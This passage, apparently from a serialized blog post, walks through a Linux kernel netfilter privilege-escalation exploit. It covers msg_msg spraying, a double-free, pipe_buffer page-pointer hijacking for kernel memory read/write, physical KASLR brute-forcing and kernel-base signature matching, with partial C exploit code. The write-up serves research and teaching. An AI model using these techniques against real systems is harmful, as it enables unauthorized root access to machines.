IPC_CREAT);\n",{"type":23,"tag":230,"props":59626,"children":59627},{"class":232,"line":400},[59628,59632,59636,59641,59645,59649,59653],{"type":23,"tag":230,"props":59629,"children":59630},{"style":866},[59631],{"type":29,"value":5611},{"type":23,"tag":230,"props":59633,"children":59634},{"style":274},[59635],{"type":29,"value":664},{"type":23,"tag":230,"props":59637,"children":59638},{"style":262},[59639],{"type":29,"value":59640},"qid",{"type":23,"tag":230,"props":59642,"children":59643},{"style":274},[59644],{"type":29,"value":56369},{"type":23,"tag":230,"props":59646,"children":59647},{"style":268},[59648],{"type":29,"value":8143},{"type":23,"tag":230,"props":59650,"children":59651},{"style":5149},[59652],{"type":29,"value":5386},{"type":23,"tag":230,"props":59654,"children":59655},{"style":274},[59656],{"type":29,"value":4516},{"type":23,"tag":230,"props":59658,"children":59659},{"class":232,"line":444},[59660],{"type":23,"tag":230,"props":59661,"children":59662},{"style":274},[59663],{"type":29,"value":33956},{"type":23,"tag":230,"props":59665,"children":59666},{"class":232,"line":453},[59667,59672,59676,59681],{"type":23,"tag":230,"props":59668,"children":59669},{"style":294},[59670],{"type":29,"value":59671},"            perror",{"type":23,"tag":230,"props":59673,"children":59674},{"style":274},[59675],{"type":29,"value":302},{"type":23,"tag":230,"props":59677,"children":59678},{"style":380},[59679],{"type":29,"value":59680},"\"[-] msgget\"",{"type":23,"tag":230,"props":59682,"children":59683},{"style":274},[59684],{"type":29,"value":753},{"type":23,"tag":230,"props":59686,"children":59687},{"class":232,"line":462},[59688],{"type":23,"tag":230,"props":59689,"children":59690},{"style":274},[59691],{"type":29,"value":5686},{"type":23,"tag":230,"props":59693,"children":59694},{"class":232,"line":471},[59695,59699,59703,59708,59712,59716,59721,59725,59730,59734],{"type":23,"tag":230,"props":59696,"children":59697},{"style":268},[59698],{"type":29,"value":10087},{"type":23,"tag":230,"props":59700,"children":59701},{"style":274},[59702],{"type":29,"value":302},{"type":23,"tag":230,"props":59704,"children":59705},{"style":256},[59706],{"type":29,"value":59707},"uint32_t",{"type":23,"tag":230,"props":59709,"children":59710},{"style":268},[59711],{"type":29,"value":12147},{"type":23,"tag":230,"props":59713,"children":59714},{"style":274},[59715],{"type":29,"value":5467},{"type":23,"tag":230,"props":59717,"children":59718},{"style":262},[59719],{"type":29,"value":59720},"msg",{"type":23,"tag":230,"props":59722,"children":59723},{"style":274},[59724],{"type":29,"value":16084},{"type":23,"tag":230,"props":59726,"children":59727},{"style":262},[59728],{"type":29,"value":59729},"mtext",{"type":23,"tag":230,"props":59731,"children":59732},{"style":268},[59733],{"type":29,"value":271},{"type":23,"tag":230,"props":59735,"children":59736},{"style":274},[59737],{"type":29,"value":59738}," i;\n",{"type":23,"tag":230,"props":59740,"children":59741},{"class":232,"line":500},[59742,59746,59750,59754,59758,59762,59766,59770,59774,59778,59782,59786,59790,59794,59799],{"type":23,"tag":230,"props":59743,"children":59744},{"style":268},[59745],{"type":29,"value":10087},{"type":23,"tag":230,"props":59747,"children":59748},{"style":274},[59749],{"type":29,"value":302},{"type":23,"tag":230,"props":59751,"children":59752},{"style":256},[59753],{"type":29,"value":57408},{"type":23,"tag":230,"props":59755,"children":59756},{"style":268},[59757],{"type":29,"value":12147},{"type":23,"tag":230,"props":59759,"children":59760},{"style":274},[59761],{"type":29,"value":5467},{"type":23,"tag":230,"props":59763,"children":59764},{"style":268},[59765],{"type":29,"value":5448},{"type":23,"tag":230,"props":59767,"children":59768},{"style":262},[59769],{"type":29,"value":59720},{"type":23,"tag":230,"props":59771,"children":59772},{"style":274},[59773],{"type":29,"value":16084},{"type":23,"tag":230,"props":59775,"children":59776},{"style":262},[59777],{"type":29,"value":59729},{"type":23,"tag":230,"props":59779,"children":59780},{"style":274},[59781],{"type":29,"value":6069},{"type":23,"tag":230,"props":59783,"children":59784},{"style":5149},[59785],{"type":29,"value":6412},{"type":23,"tag":230,"props":59787,"children":59788},{"style":274},[59789],{"type":29,"value":10997},{"type":23,"tag":230,"props":59791,"children":59792},{"style":268},[59793],{"type":29,"value":863},{"type":23,"tag":230,"props":59795,"children":59796},{"style":5149},[59797],{"type":29,"value":59798}," 0xdeadbeefcafebabe",{"type":23,"tag":230,"props":59800,"children":59801},{"style":274},[59802],{"type":29,"value":511},{"type":23,"tag":230,"props":59804,"children":59805},{"class":232,"line":514},[59806,59811,59815,59820,59824],{"type":23,"tag":230,"props":59807,"children":59808},{"style":262},[59809],{"type":29,"value":59810},"        msg",{"type":23,"tag":230,"props":59812,"children":59813},{"style":274},[59814],{"type":29,"value":16084},{"type":23,"tag":230,"props":59816,"children":59817},{"style":262},[59818],{"type":29,"value":59819},"mtype",{"type":23,"tag":230,"props":59821,"children":59822},{"style":268},[59823],{"type":29,"value":271},{"type":23,"tag":230,"props":59825,"children":59826},{"style":274},[59827],{"type":29,"value":59828}," MTYPE_PRIMARY;\n",{"type":23,"tag":230,"props":59830,"children":59831},{"class":232,"line":897},[59832,59837,59841,59845,59850,59854,59858,59863,59867,59871],{"type":23,"tag":230,"props":59833,"children":59834},{"style":294},[59835],{"type":29,"value":59836},"        msgsnd",{"type":23,"tag":230,"props":59838,"children":59839},{"style":274},[59840],{"type":29,"value":302},{"type":23,"tag":230,"props":59842,"children":59843},{"style":262},[59844],{"type":29,"value":59640},{"type":23,"tag":230,"props":59846,"children":59847},{"style":274},[59848],{"type":29,"value":59849},"[i], msg, ",{"type":23,"tag":230,"props":59851,"children":59852},{"style":5149},[59853],{"type":29,"value":57745},{"type":23,"tag":230,"props":59855,"children":59856},{"style":268},[59857],{"type":29,"value":53028},{"type":23,"tag":230,"props":59859,"children":59860},{"style":5149},[59861],{"type":29,"value":59862}," 48",{"type":23,"tag":230,"props":59864,"children":59865},{"style":274},[59866],{"type":29,"value":684},{"type":23,"tag":230,"props":59868,"children":59869},{"style":5149},[59870],{"type":29,"value":6358},{"type":23,"tag":230,"props":59872,"children":59873},{"style":274},[59874],{"type":29,"value":753},{"type":23,"tag":230,"props":59876,"children":59877},{"class":232,"line":960},[59878,59882,59886,59890,59894],{"type":23,"tag":230,"props":59879,"children":59880},{"style":262},[59881],{"type":29,"value":59810},{"type":23,"tag":230,"props":59883,"children":59884},{"style":274},[59885],{"type":29,"value":16084},{"type":23,"tag":230,"props":59887,"children":59888},{"style":262},[59889],{"type":29,"value":59819},{"type":23,"tag":230,"props":59891,"children":59892},{"style":268},[59893],{"type":29,"value":271},{"type":23,"tag":230,"props":59895,"children":59896},{"style":274},[59897],{"type":29,"value":59898}," MTYPE_SECONDARY;\n",{"type":23,"tag":230,"props":59900,"children":59901},{"class":232,"line":969},[59902,59906,59910,59914,59918,59923,59927,59931,59935,59939],{"type":23,"tag":230,"props":59903,"children":59904},{"style":294},[59905],{"type":29,"value":59836},{"type":23,"tag":230,"props":59907,"children":59908},{"style":274},[59909],{"type":29,"value":302},{"type":23,"tag":230,"props":59911,"children":59912},{"style":262},[59913],{"type":29,"value":59640},{"type":23,"tag":230,"props":59915,"children":59916},{"style":274},[59917],{"type":29,"value":59849},{"type":23,"tag":230,"props":59919,"children":59920},{"style":5149},[59921],{"type":29,"value":59922},"1024",{"type":23,"tag":230,"props":59924,"children":59925},{"style":268},[59926],{"type":29,"value":53028},{"type":23,"tag":230,"props":59928,"children":59929},{"style":5149},[59930],{"type":29,"value":59862},{"type":23,"tag":230,"props":59932,"children":59933},{"style":274},[59934],{"type":29,"value":684},{"type":23,"tag":230,"props":59936,"children":59937},{"style":5149},[59938],{"type":29,"value":6358},{"type":23,"tag":230,"props":59940,"children":59941},{"style":274},[59942],{"type":29,"value":753},{"type":23,"tag":230,"props":59944,"children":59945},{"class":232,"line":4526},[59946],{"type":23,"tag":230,"props":59947,"children":59948},{"style":274},[59949],{"type":29,"value":1552},{"type":23,"tag":230,"props":59951,"children":59952},{"class":232,"line":4534},[59953],{"type":23,"tag":230,"props":59954,"children":59955},{"style":237},[59956],{"type":29,"value":59957},"    // Prepare evil msg\n",{"type":23,"tag":230,"props":59959,"children":59960},{"class":232,"line":4542},[59961,59965,59970,59974,59978,59982,59986,59990],{"type":23,"tag":230,"props":59962,"children":59963},{"style":256},[59964],{"type":29,"value":21393},{"type":23,"tag":230,"props":59966,"children":59967},{"style":274},[59968],{"type":29,"value":59969}," evilqid ",{"type":23,"tag":230,"props":59971,"children":59972},{"style":268},[59973],{"type":29,"value":863},{"type":23,"tag":230,"props":59975,"children":59976},{"style":294},[59977],{"type":29,"value":59605},{"type":23,"tag":230,"props":59979,"children":59980},{"style":274},[59981],{"type":29,"value":59610},{"type":23,"tag":230,"props":59983,"children":59984},{"style":5149},[59985],{"type":29,"value":59615},{"type":23,"tag":230,"props":59987,"children":59988},{"style":268},[59989],{"type":29,"value":6607},{"type":23,"tag":230,"props":59991,"children":59992},{"style":274},[59993],{"type":29,"value":59624},{"type":23,"tag":230,"props":59995,"children":59996},{"class":232,"line":4559},[59997,60001,60006,60010,60014],{"type":23,"tag":230,"props":59998,"children":59999},{"style":866},[60000],{"type":29,"value":1493},{"type":23,"tag":230,"props":60002,"children":60003},{"style":274},[60004],{"type":29,"value":60005}," (evilqid ",{"type":23,"tag":230,"props":60007,"children":60008},{"style":268},[60009],{"type":29,"value":8143},{"type":23,"tag":230,"props":60011,"children":60012},{"style":5149},[60013],{"type":29,"value":5386},{"type":23,"tag":230,"props":60015,"children":60016},{"style":274},[60017],{"type":29,"value":4516},{"type":23,"tag":230,"props":60019,"children":60020},{"class":232,"line":4587},[60021],{"type":23,"tag":230,"props":60022,"children":60023},{"style":274},[60024],{"type":29,"value":31494},{"type":23,"tag":230,"props":60026,"children":60027},{"class":232,"line":4595},[60028,60033,60037,60041],{"type":23,"tag":230,"props":60029,"children":60030},{"style":294},[60031],{"type":29,"value":60032},"        perror",{"type":23,"tag":230,"props":60034,"children":60035},{"style":274},[60036],{"type":29,"value":302},{"type":23,"tag":230,"props":60038,"children":60039},{"style":380},[60040],{"type":29,"value":59680},{"type":23,"tag":230,"props":60042,"children":60043},{"style":274},[60044],{"type":29,"value":753},{"type":23,"tag":230,"props":60046,"children":60047},{"class":232,"line":4619},[60048],{"type":23,"tag":230,"props":60049,"children":60050},{"style":274},[60051],{"type":29,"value":1552},{"type":23,"tag":230,"props":60053,"children":60054},{"class":232,"line":4627},[60055],{"type":23,"tag":230,"props":60056,"children":60057},{"style":274},[60058],{"type":29,"value":60059},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":59,"props":60061,"children":60063},{"id":60062},"using-pipe_buffer-page-pointer-for-physical-readwrite",[60064],{"type":29,"value":60065},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":32,"props":60067,"children":60068},{},[60069,60071,60077,60078,60084,60085,60091,60093,60099],{"type":29,"value":60070},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":71,"props":60072,"children":60074},{"className":60073},[],[60075],{"type":29,"value":60076},"kmalloc-1k",{"type":29,"value":112},{"type":23,"tag":71,"props":60079,"children":60081},{"className":60080},[],[60082],{"type":29,"value":60083},"overlap pipe_buffer",{"type":29,"value":23818},{"type":23,"tag":71,"props":60086,"children":60088},{"className":60087},[],[60089],{"type":29,"value":60090},"skbuf",{"type":29,"value":60092}," data to control the ",{"type":23,"tag":71,"props":60094,"children":60096},{"className":60095},[],[60097],{"type":29,"value":60098},"page",{"type":29,"value":60100}," field.",{"type":23,"tag":32,"props":60102,"children":60103},{},[60104,60105,60110,60112,60118,60120],{"type":29,"value":980},{"type":23,"tag":71,"props":60106,"children":60108},{"className":60107},[],[60109],{"type":29,"value":60098},{"type":29,"value":60111}," field is a pointer into ",{"type":23,"tag":71,"props":60113,"children":60115},{"className":60114},[],[60116],{"type":29,"value":60117},"vmemmap_base",{"type":29,"value":60119},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":93,"props":60121,"children":60123},{"alt":52351,"src":60122},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":32,"props":60125,"children":60126},{},[60127,60129,60134],{"type":29,"value":60128},"This now allows us to navigate the ",{"type":23,"tag":71,"props":60130,"children":60132},{"className":60131},[],[60133],{"type":29,"value":60117},{"type":29,"value":60135}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":59,"props":60137,"children":60139},{"id":60138},"bruteforce-physical-kernel-base",[60140],{"type":29,"value":60141},"Bruteforce physical kernel base",{"type":23,"tag":32,"props":60143,"children":60144},{},[60145,60147,60153,60155,60160,60162,60168],{"type":29,"value":60146},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":71,"props":60148,"children":60150},{"className":60149},[],[60151],{"type":29,"value":60152},"modprobe_path",{"type":29,"value":60154},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":71,"props":60156,"children":60158},{"className":60157},[],[60159],{"type":29,"value":60117},{"type":29,"value":60161}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":71,"props":60163,"children":60165},{"className":60164},[],[60166],{"type":29,"value":60167},"PHYSICAL_ALIGN",{"type":29,"value":60169}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":220,"props":60171,"children":60173},{"className":31417,"code":60172,"language":31419,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[60174],{"type":23,"tag":71,"props":60175,"children":60176},{"__ignoreMap":7},[60177,60184,60192,60200,60224,60257,60277,60317,60324,60368,60402,60429,60465,60472,60518,60525,60555,60568,60633,60640,60652,60660,60667,60674,60700,60707,60727,60739,60746,60753,60760],{"type":23,"tag":230,"props":60178,"children":60179},{"class":232,"line":233},[60180],{"type":23,"tag":230,"props":60181,"children":60182},{"style":274},[60183],{"type":29,"value":12649},{"type":23,"tag":230,"props":60185,"children":60186},{"class":232,"line":243},[60187],{"type":23,"tag":230,"props":60188,"children":60189},{"style":274},[60190],{"type":29,"value":60191},"// Bruteforce phys-KASLR\n",{"type":23,"tag":230,"props":60193,"children":60194},{"class":232,"line":252},[60195],{"type":23,"tag":230,"props":60196,"children":60197},{"style":274},[60198],{"type":29,"value":60199},"    uint64_t kernel_base;\n",{"type":23,"tag":230,"props":60201,"children":60202},{"class":232,"line":280},[60203,60207,60212,60216,60220],{"type":23,"tag":230,"props":60204,"children":60205},{"style":256},[60206],{"type":29,"value":48244},{"type":23,"tag":230,"props":60208,"children":60209},{"style":274},[60210],{"type":29,"value":60211}," found ",{"type":23,"tag":230,"props":60213,"children":60214},{"style":268},[60215],{"type":29,"value":863},{"type":23,"tag":230,"props":60217,"children":60218},{"style":256},[60219],{"type":29,"value":11391},{"type":23,"tag":230,"props":60221,"children":60222},{"style":274},[60223],{"type":29,"value":511},{"type":23,"tag":230,"props":60225,"children":60226},{"class":232,"line":334},[60227,60232,60236,60241,60245,60249,60253],{"type":23,"tag":230,"props":60228,"children":60229},{"style":256},[60230],{"type":29,"value":60231},"    uint8_t",{"type":23,"tag":230,"props":60233,"children":60234},{"style":262},[60235],{"type":29,"value":17430},{"type":23,"tag":230,"props":60237,"children":60238},{"style":274},[60239],{"type":29,"value":60240},"[PAGE_SIZE] ",{"type":23,"tag":230,"props":60242,"children":60243},{"style":268},[60244],{"type":29,"value":863},{"type":23,"tag":230,"props":60246,"children":60247},{"style":274},[60248],{"type":29,"value":46988},{"type":23,"tag":230,"props":60250,"children":60251},{"style":5149},[60252],{"type":29,"value":6358},{"type":23,"tag":230,"props":60254,"children":60255},{"style":274},[60256],{"type":29,"value":450},{"type":23,"tag":230,"props":60258,"children":60259},{"class":232,"line":371},[60260,60264,60268,60273],{"type":23,"tag":230,"props":60261,"children":60262},{"style":294},[60263],{"type":29,"value":57280},{"type":23,"tag":230,"props":60265,"children":60266},{"style":274},[60267],{"type":29,"value":302},{"type":23,"tag":230,"props":60269,"children":60270},{"style":380},[60271],{"type":29,"value":60272},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":230,"props":60274,"children":60275},{"style":274},[60276],{"type":29,"value":753},{"type":23,"tag":230,"props":60278,"children":60279},{"class":232,"line":391},[60280,60284,60288,60292,60296,60300,60304,60309,60313],{"type":23,"tag":230,"props":60281,"children":60282},{"style":866},[60283],{"type":29,"value":5371},{"type":23,"tag":230,"props":60285,"children":60286},{"style":274},[60287],{"type":29,"value":664},{"type":23,"tag":230,"props":60289,"children":60290},{"style":256},[60291],{"type":29,"value":57408},{"type":23,"tag":230,"props":60293,"children":60294},{"style":274},[60295],{"type":29,"value":56317},{"type":23,"tag":230,"props":60297,"children":60298},{"style":268},[60299],{"type":29,"value":863},{"type":23,"tag":230,"props":60301,"children":60302},{"style":5149},[60303],{"type":29,"value":5386},{"type":23,"tag":230,"props":60305,"children":60306},{"style":274},[60307],{"type":29,"value":60308},";; i",{"type":23,"tag":230,"props":60310,"children":60311},{"style":268},[60312],{"type":29,"value":53042},{"type":23,"tag":230,"props":60314,"children":60315},{"style":274},[60316],{"type":29,"value":4516},{"type":23,"tag":230,"props":60318,"children":60319},{"class":232,"line":400},[60320],{"type":23,"tag":230,"props":60321,"children":60322},{"style":274},[60323],{"type":29,"value":31494},{"type":23,"tag":230,"props":60325,"children":60326},{"class":232,"line":444},[60327,60332,60336,60341,60345,60350,60354,60359,60363],{"type":23,"tag":230,"props":60328,"children":60329},{"style":274},[60330],{"type":29,"value":60331},"        kernel_base ",{"type":23,"tag":230,"props":60333,"children":60334},{"style":268},[60335],{"type":29,"value":863},{"type":23,"tag":230,"props":60337,"children":60338},{"style":5149},[60339],{"type":29,"value":60340}," 0x40",{"type":23,"tag":230,"props":60342,"children":60343},{"style":268},[60344],{"type":29,"value":12147},{"type":23,"tag":230,"props":60346,"children":60347},{"style":274},[60348],{"type":29,"value":60349}," ((PHYSICAL_ALIGN ",{"type":23,"tag":230,"props":60351,"children":60352},{"style":268},[60353],{"type":29,"value":6909},{"type":23,"tag":230,"props":60355,"children":60356},{"style":274},[60357],{"type":29,"value":60358}," i) ",{"type":23,"tag":230,"props":60360,"children":60361},{"style":268},[60362],{"type":29,"value":15090},{"type":23,"tag":230,"props":60364,"children":60365},{"style":274},[60366],{"type":29,"value":60367}," PAGE_SHIFT);\n",{"type":23,"tag":230,"props":60369,"children":60370},{"class":232,"line":453},[60371,60376,60380,60384,60388,60393,60397],{"type":23,"tag":230,"props":60372,"children":60373},{"style":262},[60374],{"type":29,"value":60375},"        pipebuf",{"type":23,"tag":230,"props":60377,"children":60378},{"style":274},[60379],{"type":29,"value":16084},{"type":23,"tag":230,"props":60381,"children":60382},{"style":262},[60383],{"type":29,"value":60098},{"type":23,"tag":230,"props":60385,"children":60386},{"style":268},[60387],{"type":29,"value":271},{"type":23,"tag":230,"props":60389,"children":60390},{"style":274},[60391],{"type":29,"value":60392}," vmemmap_base ",{"type":23,"tag":230,"props":60394,"children":60395},{"style":268},[60396],{"type":29,"value":6719},{"type":23,"tag":230,"props":60398,"children":60399},{"style":274},[60400],{"type":29,"value":60401}," kernel_base;\n",{"type":23,"tag":230,"props":60403,"children":60404},{"class":232,"line":462},[60405,60409,60413,60417,60421,60425],{"type":23,"tag":230,"props":60406,"children":60407},{"style":262},[60408],{"type":29,"value":60375},{"type":23,"tag":230,"props":60410,"children":60411},{"style":274},[60412],{"type":29,"value":16084},{"type":23,"tag":230,"props":60414,"children":60415},{"style":262},[60416],{"type":29,"value":16228},{"type":23,"tag":230,"props":60418,"children":60419},{"style":268},[60420],{"type":29,"value":271},{"type":23,"tag":230,"props":60422,"children":60423},{"style":5149},[60424],{"type":29,"value":5386},{"type":23,"tag":230,"props":60426,"children":60427},{"style":274},[60428],{"type":29,"value":511},{"type":23,"tag":230,"props":60430,"children":60431},{"class":232,"line":471},[60432,60436,60440,60444,60448,60453,60457,60461],{"type":23,"tag":230,"props":60433,"children":60434},{"style":262},[60435],{"type":29,"value":60375},{"type":23,"tag":230,"props":60437,"children":60438},{"style":274},[60439],{"type":29,"value":16084},{"type":23,"tag":230,"props":60441,"children":60442},{"style":262},[60443],{"type":29,"value":11471},{"type":23,"tag":230,"props":60445,"children":60446},{"style":268},[60447],{"type":29,"value":271},{"type":23,"tag":230,"props":60449,"children":60450},{"style":274},[60451],{"type":29,"value":60452}," PAGE_SIZE ",{"type":23,"tag":230,"props":60454,"children":60455},{"style":268},[60456],{"type":29,"value":6719},{"type":23,"tag":230,"props":60458,"children":60459},{"style":5149},[60460],{"type":29,"value":6861},{"type":23,"tag":230,"props":60462,"children":60463},{"style":274},[60464],{"type":29,"value":511},{"type":23,"tag":230,"props":60466,"children":60467},{"class":232,"line":500},[60468],{"type":23,"tag":230,"props":60469,"children":60470},{"style":274},[60471],{"type":29,"value":12649},{"type":23,"tag":230,"props":60473,"children":60474},{"class":232,"line":514},[60475,60480,60484,60488,60492,60496,60501,60505,60510,60514],{"type":23,"tag":230,"props":60476,"children":60477},{"style":274},[60478],{"type":29,"value":60479},"        for (",{"type":23,"tag":230,"props":60481,"children":60482},{"style":256},[60483],{"type":29,"value":21364},{"type":23,"tag":230,"props":60485,"children":60486},{"style":262},[60487],{"type":29,"value":10959},{"type":23,"tag":230,"props":60489,"children":60490},{"style":268},[60491],{"type":29,"value":271},{"type":23,"tag":230,"props":60493,"children":60494},{"style":5149},[60495],{"type":29,"value":5386},{"type":23,"tag":230,"props":60497,"children":60498},{"style":274},[60499],{"type":29,"value":60500},"; j ",{"type":23,"tag":230,"props":60502,"children":60503},{"style":268},[60504],{"type":29,"value":8143},{"type":23,"tag":230,"props":60506,"children":60507},{"style":274},[60508],{"type":29,"value":60509}," PIPE_SPRAY; j",{"type":23,"tag":230,"props":60511,"children":60512},{"style":268},[60513],{"type":29,"value":53042},{"type":23,"tag":230,"props":60515,"children":60516},{"style":274},[60517],{"type":29,"value":4516},{"type":23,"tag":230,"props":60519,"children":60520},{"class":232,"line":897},[60521],{"type":23,"tag":230,"props":60522,"children":60523},{"style":274},[60524],{"type":29,"value":33956},{"type":23,"tag":230,"props":60526,"children":60527},{"class":232,"line":960},[60528,60533,60537,60541,60546,60550],{"type":23,"tag":230,"props":60529,"children":60530},{"style":294},[60531],{"type":29,"value":60532},"            memset",{"type":23,"tag":230,"props":60534,"children":60535},{"style":274},[60536],{"type":29,"value":302},{"type":23,"tag":230,"props":60538,"children":60539},{"style":268},[60540],{"type":29,"value":5448},{"type":23,"tag":230,"props":60542,"children":60543},{"style":274},[60544],{"type":29,"value":60545},"data, ",{"type":23,"tag":230,"props":60547,"children":60548},{"style":5149},[60549],{"type":29,"value":6358},{"type":23,"tag":230,"props":60551,"children":60552},{"style":274},[60553],{"type":29,"value":60554},", PAGE_SIZE);\n",{"type":23,"tag":230,"props":60556,"children":60557},{"class":232,"line":969},[60558,60563],{"type":23,"tag":230,"props":60559,"children":60560},{"style":256},[60561],{"type":29,"value":60562},"            int",{"type":23,"tag":230,"props":60564,"children":60565},{"style":274},[60566],{"type":29,"value":60567}," count;\n",{"type":23,"tag":230,"props":60569,"children":60570},{"class":232,"line":4526},[60571,60576,60581,60585,60590,60594,60599,60604,60608,60612,60616,60621,60625,60629],{"type":23,"tag":230,"props":60572,"children":60573},{"style":866},[60574],{"type":29,"value":60575},"            if",{"type":23,"tag":230,"props":60577,"children":60578},{"style":274},[60579],{"type":29,"value":60580}," (count ",{"type":23,"tag":230,"props":60582,"children":60583},{"style":268},[60584],{"type":29,"value":863},{"type":23,"tag":230,"props":60586,"children":60587},{"style":294},[60588],{"type":29,"value":60589}," read",{"type":23,"tag":230,"props":60591,"children":60592},{"style":274},[60593],{"type":29,"value":302},{"type":23,"tag":230,"props":60595,"children":60596},{"style":262},[60597],{"type":29,"value":60598},"pfd",{"type":23,"tag":230,"props":60600,"children":60601},{"style":274},[60602],{"type":29,"value":60603},"[j][",{"type":23,"tag":230,"props":60605,"children":60606},{"style":5149},[60607],{"type":29,"value":6358},{"type":23,"tag":230,"props":60609,"children":60610},{"style":274},[60611],{"type":29,"value":25375},{"type":23,"tag":230,"props":60613,"children":60614},{"style":268},[60615],{"type":29,"value":5448},{"type":23,"tag":230,"props":60617,"children":60618},{"style":274},[60619],{"type":29,"value":60620},"data, PAGE_SIZE) ",{"type":23,"tag":230,"props":60622,"children":60623},{"style":268},[60624],{"type":29,"value":8143},{"type":23,"tag":230,"props":60626,"children":60627},{"style":5149},[60628],{"type":29,"value":5386},{"type":23,"tag":230,"props":60630,"children":60631},{"style":274},[60632],{"type":29,"value":4516},{"type":23,"tag":230,"props":60634,"children":60635},{"class":232,"line":4534},[60636],{"type":23,"tag":230,"props":60637,"children":60638},{"style":274},[60639],{"type":29,"value":33992},{"type":23,"tag":230,"props":60641,"children":60642},{"class":232,"line":4542},[60643,60648],{"type":23,"tag":230,"props":60644,"children":60645},{"style":866},[60646],{"type":29,"value":60647},"                continue",{"type":23,"tag":230,"props":60649,"children":60650},{"style":274},[60651],{"type":29,"value":511},{"type":23,"tag":230,"props":60653,"children":60654},{"class":232,"line":4559},[60655],{"type":23,"tag":230,"props":60656,"children":60657},{"style":274},[60658],{"type":29,"value":60659},"            }\n",{"type":23,"tag":230,"props":60661,"children":60662},{"class":232,"line":4587},[60663],{"type":23,"tag":230,"props":60664,"children":60665},{"style":274},[60666],{"type":29,"value":12649},{"type":23,"tag":230,"props":60668,"children":60669},{"class":232,"line":4595},[60670],{"type":23,"tag":230,"props":60671,"children":60672},{"emptyLinePlaceholder":18},[60673],{"type":29,"value":459},{"type":23,"tag":230,"props":60675,"children":60676},{"class":232,"line":4619},[60677,60682,60687,60691,60695],{"type":23,"tag":230,"props":60678,"children":60679},{"style":274},[60680],{"type":29,"value":60681},"            if (",{"type":23,"tag":230,"props":60683,"children":60684},{"style":676},[60685],{"type":29,"value":60686},"is_kernel_base",{"type":23,"tag":230,"props":60688,"children":60689},{"style":274},[60690],{"type":29,"value":302},{"type":23,"tag":230,"props":60692,"children":60693},{"style":676},[60694],{"type":29,"value":6037},{"type":23,"tag":230,"props":60696,"children":60697},{"style":274},[60698],{"type":29,"value":60699},")) // [1] identify kernel base\n",{"type":23,"tag":230,"props":60701,"children":60702},{"class":232,"line":4627},[60703],{"type":23,"tag":230,"props":60704,"children":60705},{"style":274},[60706],{"type":29,"value":33992},{"type":23,"tag":230,"props":60708,"children":60709},{"class":232,"line":4659},[60710,60715,60719,60723],{"type":23,"tag":230,"props":60711,"children":60712},{"style":274},[60713],{"type":29,"value":60714},"                found ",{"type":23,"tag":230,"props":60716,"children":60717},{"style":268},[60718],{"type":29,"value":863},{"type":23,"tag":230,"props":60720,"children":60721},{"style":256},[60722],{"type":29,"value":14799},{"type":23,"tag":230,"props":60724,"children":60725},{"style":274},[60726],{"type":29,"value":511},{"type":23,"tag":230,"props":60728,"children":60729},{"class":232,"line":4671},[60730,60735],{"type":23,"tag":230,"props":60731,"children":60732},{"style":866},[60733],{"type":29,"value":60734},"                break",{"type":23,"tag":230,"props":60736,"children":60737},{"style":274},[60738],{"type":29,"value":511},{"type":23,"tag":230,"props":60740,"children":60741},{"class":232,"line":4688},[60742],{"type":23,"tag":230,"props":60743,"children":60744},{"style":274},[60745],{"type":29,"value":60659},{"type":23,"tag":230,"props":60747,"children":60748},{"class":232,"line":4701},[60749],{"type":23,"tag":230,"props":60750,"children":60751},{"style":274},[60752],{"type":29,"value":5686},{"type":23,"tag":230,"props":60754,"children":60755},{"class":232,"line":4724},[60756],{"type":23,"tag":230,"props":60757,"children":60758},{"emptyLinePlaceholder":18},[60759],{"type":29,"value":459},{"type":23,"tag":230,"props":60761,"children":60762},{"class":232,"line":4741},[60763],{"type":23,"tag":230,"props":60764,"children":60765},{"style":274},[60766],{"type":29,"value":12649},{"type":23,"tag":32,"props":60768,"children":60769},{},[60770,60772,60776,60778,60784,60786,60790],{"type":29,"value":60771},"Notice that at ",{"type":23,"tag":230,"props":60773,"children":60774},{},[60775],{"type":29,"value":6348},{"type":29,"value":60777}," we call the ",{"type":23,"tag":71,"props":60779,"children":60781},{"className":60780},[],[60782],{"type":29,"value":60783},"is_kernel_base()",{"type":29,"value":60785}," function. This is a function based on lau's exploit ",{"type":23,"tag":230,"props":60787,"children":60788},{},[60789],{"type":29,"value":20429},{"type":29,"value":60791}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":220,"props":60793,"children":60795},{"className":31417,"code":60794,"language":31419,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, 